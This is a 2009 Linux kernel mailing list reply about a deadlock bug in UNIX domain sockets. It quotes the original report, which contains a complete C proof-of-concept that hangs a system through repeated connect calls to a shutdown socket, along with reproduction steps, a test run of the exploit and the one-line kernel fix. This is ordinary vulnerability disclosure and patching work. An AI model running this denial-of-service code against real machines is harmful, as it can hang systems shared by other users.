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Message-ID: <2375c9f90910190002m372edafq9a4c95d754640487@mail.gmail.com>
Date: Mon, 19 Oct 2009 15:02:14 +0800
From: Américo Wang <xiyou.wangcong@...il.com>
To: Tomoki Sekiyama <tomoki.sekiyama.qu@...achi.com>
Cc: linux-kernel@...r.kernel.org, netdev@...r.kernel.org,
alan@...rguk.ukuu.org.uk, davem@...emloft.net,
satoshi.oshima.fk@...achi.com, hidehiro.kawai.ez@...achi.com,
hideo.aoki.tk@...achi.com
Subject: Re: [PATCH] AF_UNIX: Fix deadlock on connecting to shutdown socket
On Mon, Oct 19, 2009 at 2:02 PM, Tomoki Sekiyama
<tomoki.sekiyama.qu@...achi.com> wrote:
> Hi,
> I found a deadlock bug in UNIX domain socket, which makes able to DoS
> attack against the local machine by non-root users.
>
> How to reproduce:
> 1. Make a listening AF_UNIX/SOCK_STREAM socket with an abstruct
> namespace(*), and shutdown(2) it.
> 2. Repeat connect(2)ing to the listening socket from the other sockets
> until the connection backlog is full-filled.
> 3. connect(2) takes the CPU forever. If every core is taken, the
> system hangs.
>
> PoC code: (Run as many times as cores on SMP machines.)
Interesting...
I tried this with the following command:
% for i in `seq 1 $(grep processor -c /proc/cpuinfo)`;
do ./unix-socket-dos-exploit; echo "=====$i====";done
Connection OK
Connection OK
=====1====
Connection OK
Connection OK
=====2====
Connection OK
Connection OK
=====3====
Connection OK
Connection OK
=====4====
My system doesn't hang at all.
Am I missing something?
Thanks!
>
> int main(void)
> {
> int ret;
> int csd;
> int lsd;
> struct sockaddr_un sun;
>
> /* make an abstruct name address (*) */
> memset(&sun, 0, sizeof(sun));
> sun.sun_family = PF_UNIX;
> sprintf(&sun.sun_path[1], "%d", getpid());
>
> /* create the listening socket and shutdown */
> lsd = socket(AF_UNIX, SOCK_STREAM, 0);
> bind(lsd, (struct sockaddr *)&sun, sizeof(sun));
> listen(lsd, 1);
> shutdown(lsd, SHUT_RDWR);
>
> /* connect loop */
> alarm(15); /* forcely exit the loop after 15 sec */
> for (;;) {
> csd = socket(AF_UNIX, SOCK_STREAM, 0);
> ret = connect(csd, (struct sockaddr *)&sun, sizeof(sun));
> if (-1 == ret) {
> perror("connect()");
> break;
> }
> puts("Connection OK");
> }
> return 0;
> }
>
> (*) Make sun_path[0] = 0 to use the abstruct namespace.
> If a file-based socket is used, the system doesn't deadlock because
> of context switches in the file system layer.
>
> Why this happens:
> Error checks between unix_socket_connect() and unix_wait_for_peer() are
> inconsistent. The former calls the latter to wait until the backlog is
> processed. Despite the latter returns without doing anything when the
> socket is shutdown, the former doesn't check the shutdown state and
> just retries calling the latter forever.
>
> Patch:
> The patch below adds shutdown check into unix_socket_connect(), so
> connect(2) to the shutdown socket will return -ECONREFUSED.
>
> Signed-off-by: Tomoki Sekiyama <tomoki.sekiyama.qu@...achi.com>
> Signed-off-by: Masanori Yoshida <masanori.yoshida.tv@...achi.com>
> ---
> net/unix/af_unix.c | 2 ++
> 1 files changed, 2 insertions(+), 0 deletions(-)
>
> diff --git a/net/unix/af_unix.c b/net/unix/af_unix.c
> index 51ab497..fc820cd 100644
> --- a/net/unix/af_unix.c
> +++ b/net/unix/af_unix.c
> @@ -1074,6 +1074,8 @@ restart:
> err = -ECONNREFUSED;
> if (other->sk_state != TCP_LISTEN)
> goto out_unlock;
> + if (other->sk_shutdown & RCV_SHUTDOWN)
> + goto out_unlock;
>
> if (unix_recvq_full(other)) {
> err = -EAGAIN;
--
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